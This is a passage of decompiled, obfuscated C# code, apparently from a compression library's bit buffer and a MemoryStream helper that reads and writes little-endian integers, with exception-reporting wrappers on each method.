            num1 = this.\u0003++;
            int index2 = num1;
            int num3 = (int) (byte) (this.\u0004 >> 8);
            numArray2[index2] = (byte) num3;
            goto label_2;
          }
          else
            goto label_2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num1;
          \u0089\u0004.\u0019\u0005(ex, (object) local, (object) this);
          throw;
        }
      }

      public void \u0013\u0003([In] int obj0, [In] int obj1)
      {
        int num1;
        try
        {
          this.\u0004 |= (uint) (obj0 << this.\u0005);
          this.\u0005 += obj1;
          if (this.\u0005 < 16)
            return;
          byte[] numArray1 = this.\u0001;
          num1 = this.\u0003++;
          int index1 = num1;
          int num2 = (int) (byte) this.\u0004;
          numArray1[index1] = (byte) num2;
          byte[] numArray2 = this.\u0001;
          num1 = this.\u0003++;
          int index2 = num1;
          int num3 = (int) (byte) (this.\u0004 >> 8);
          numArray2[index2] = (byte) num3;
          this.\u0004 >>= 16;
          this.\u0005 -= 16;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj1;
          \u0089\u0004.\u001B\u0005(ex, (object) local1, (object) this, (object) local2, (object) local3);
          throw;
        }
      }

      [SpecialName]
      public bool \u0014\u0003()
      {
        try
        {
          return this.\u0003 == 0;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public int \u0015\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        try
        {
          if (this.\u0005 >= 8)
            goto label_5;
label_1:
          if (obj2 > this.\u0003 - this.\u0002)
          {
            obj2 = this.\u0003 - this.\u0002;
            Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2);
            this.\u0002 = 0;
            this.\u0003 = 0;
          }
          else
          {
            Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2);
            this.\u0002 += obj2;
          }
          return obj2;
label_5:
          byte[] numArray = this.\u0001;
          num1 = this.\u0003++;
          int index = num1;
          int num2 = (int) (byte) this.\u0004;
          numArray[index] = (byte) num2;
          this.\u0004 >>= 8;
          this.\u0005 -= 8;
          goto label_1;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj2;
          \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3);
          throw;
        }
      }

      public \u001E()
      {
        try
        {
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }
    }

    internal sealed class \u001F : MemoryStream
    {
      public void \u000F\u0003([In] int obj0)
      {
        try
        {
          this.WriteByte((byte) (obj0 & (int) byte.MaxValue));
          this.WriteByte((byte) (obj0 >> 8 & (int) byte.MaxValue));
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) obj0;
          \u0089\u0004.\u0019\u0005(ex, (object) this, (object) local);
          throw;
        }
      }

      public void \u0016\u0003([In] int obj0)
      {
        try
        {
          this.\u000F\u0003(obj0);
          this.\u000F\u0003(obj0 >> 16);
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) obj0;
          \u0089\u0004.\u0019\u0005(ex, (object) this, (object) local);
          throw;
        }
      }

      public int \u0017\u0003()
      {
        try
        {
          return this.ReadByte() | this.ReadByte() << 8;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public int \u0018\u0003()
      {
        try
        {
          return this.\u0017\u0003() | this.\u0017\u0003() << 16;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public \u001F()
      {
        try
        {
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public \u001F([In] byte[] obj0)
        : base(obj0, false)
      {
        try
        {
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray);
          throw;
        }
      }
    }
  }
}
